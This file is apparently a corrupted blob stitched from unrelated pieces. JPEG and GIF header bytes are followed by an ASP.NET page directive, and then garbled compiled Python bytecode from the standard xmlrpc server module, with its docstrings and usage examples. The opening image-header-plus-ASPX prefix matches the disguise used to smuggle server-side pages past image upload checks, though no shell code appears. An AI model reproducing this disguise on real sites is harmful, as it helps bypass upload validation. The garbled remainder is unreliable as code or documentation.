ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %>
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
F\h֏ T S r SSKJrJrJrJrJr SSKJr SSK J
r
SSKJr SSK
r
SSKrSSKrSSKrSSKrSSKrSSKrSSKr SSKrS(S jrS r " S
S5 r " S S
\5 r " S S\R6 \5 r " S S\5 r " S S\5 r " S S\R> 5 r " S S5 r! " S S\5 r" " S S\\!5 r# " S S\\!5 r$\%S:X a SSK&r& " S S 5 r'\" S!5 r(\(RS \*5 \(RS S" S#5 \(RW \'" 5 SS$9 \(RY 5 \-" S%5 \-" S&5 \(R] 5 SSS5 gg! \ a Sr GN'f = f! \/ a \-" S'5 \R` " S5 N;f = f! , ( d f g= f))a XML-RPC Servers.
This module can be used to create simple XML-RPC servers
by creating a server and either installing functions, a
class instance, or by extending the SimpleXMLRPCServer
class.
It can also be used to handle XML-RPC requests in a CGI
environment using CGIXMLRPCRequestHandler.
The Doc* classes can be used to create XML-RPC servers that
serve pydoc-style documentation in response to HTTP
GET requests. This documentation is dynamically generated
based on the functions and methods registered with the
server.
A list of possible usage patterns follows:
1. Install functions:
server = SimpleXMLRPCServer(("localhost", 8000))
server.register_function(pow)
server.register_function(lambda x,y: x+y, 'add')
server.serve_forever()
2. Install an instance:
class MyFuncs:
def __init__(self):
# make all of the sys functions available through sys.func_name
import sys
self.sys = sys
def _listMethods(self):
# implement this method so that system.listMethods
# knows to advertise the sys methods
return list_public_methods(self) + \
['sys.' + method for method in list_public_methods(self.sys)]
def pow(self, x, y): return pow(x, y)
def add(self, x, y) : return x + y
server = SimpleXMLRPCServer(("localhost", 8000))
server.register_introspection_functions()
server.register_instance(MyFuncs())
server.serve_forever()
3. Install an instance with custom dispatch method:
class Math:
def _listMethods(self):
# this method must be present for system.listMethods
# to work
return ['add', 'pow']
def _methodHelp(self, method):
# this method must be present for system.methodHelp
# to work
if method == 'add':
return "add(2,3) => 5"
elif method == 'pow':
return "pow(x, y[, z]) => number"
else:
# By convention, return empty
# string if no help is available
return ""
def _dispatch(self, method, params):
if method == 'pow':
return pow(*params)
elif method == 'add':
return params[0] + params[1]
else:
raise ValueError('bad method')
server = SimpleXMLRPCServer(("localhost", 8000))
server.register_introspection_functions()
server.register_instance(Math())
server.serve_forever()
4. Subclass SimpleXMLRPCServer:
class MathServer(SimpleXMLRPCServer):
def _dispatch(self, method, params):
try:
# We are forcing the 'export_' prefix on methods that are
# callable through XML-RPC to prevent potential security
# problems
func = getattr(self, 'export_' + method)
except AttributeError:
raise Exception('method "%s" is not supported' % method)
else:
return func(*params)
def export_add(self, x, y):
return x + y
server = MathServer(("localhost", 8000))
server.serve_forever()
5. CGI script:
server = CGIXMLRPCRequestHandler()
server.register_function(pow)
server.handle_request()
)Faultdumpsloadsgzip_encodegzip_decode)BaseHTTPRequestHandler)partial) signatureNTc U( a UR S5 nOU/nU H2 nUR S5 ( a [ SU- 5 e[ X5 n M4 U $ )a3 resolve_dotted_attribute(a, 'b.c.d') => a.b.c.d
Resolves a dotted attribute name to an object. Raises
an AttributeError if any attribute in the chain starts with a '_'.
If the optional allow_dotted_names argument is false, dots are not
supported and this function operates similar to getattr(obj, attr).
._z(attempt to access private attribute "%s")split
startswithAttributeErrorgetattr)objattrallow_dotted_namesattrsis $/usr/lib/python3.13/xmlrpc/server.pyresolve_dotted_attributer | s[
3
<< :Q>
#.C
J c [ U 5 Vs/ s H8 nUR S5 ( a M [ [ X5 5 ( d M6 UPM: sn$ s snf )zgReturns a list of attribute strings, found in the specified
object, which represent callable attributesr
)dirr callabler )r members r list_public_methodsr sK "%S 4v((-
WS12
4 4 4s AAAc n \ rS rSrSr SS jrSS jrSS jrS rS r SS jr
S
rS rS r
S
rS rSrg)SimpleXMLRPCDispatcher a Mix-in class that dispatches XML-RPC requests.
This class is used to register XML-RPC method handlers
and then to dispatch them. This class doesn't need to be
instanced directly when used by SimpleXMLRPCServer but it
can be instanced when used by the MultiPathXMLRPCServer
Nc X 0 U l S U l Xl U=( d SU l X0l g Nutf-8)funcsinstance
allow_noneencodinguse_builtin_typesselfr' r( r) s r __init__SimpleXMLRPCDispatcher.__init__ s'
$ +G
!2r c Xl X l g)an Registers an instance to respond to XML-RPC requests.
Only one instance can be installed at a time.
If the registered instance has a _dispatch method then that
method will be called with the name of the XML-RPC method and
its parameters as a tuple
e.g. instance._dispatch('add',(2,3))
If the registered instance does not have a _dispatch method
then the instance will be searched to find a matching method
and, if found, will be called. Methods beginning with an '_'
are considered private and will not be called by
SimpleXMLRPCServer.
If a registered function matches an XML-RPC request, then it
will be called instead of the registered instance.
If the optional allow_dotted_names argument is true and the
instance does not have a _dispatch method, method names
containing dots are supported and resolved, as long as none of
the name segments start with an '_'.
*** SECURITY WARNING: ***
Enabling the allow_dotted_names options allows intruders
to access your module's global variables and may allow
intruders to execute arbitrary code on your machine. Only
use this option on a secure, closed network.
N)r&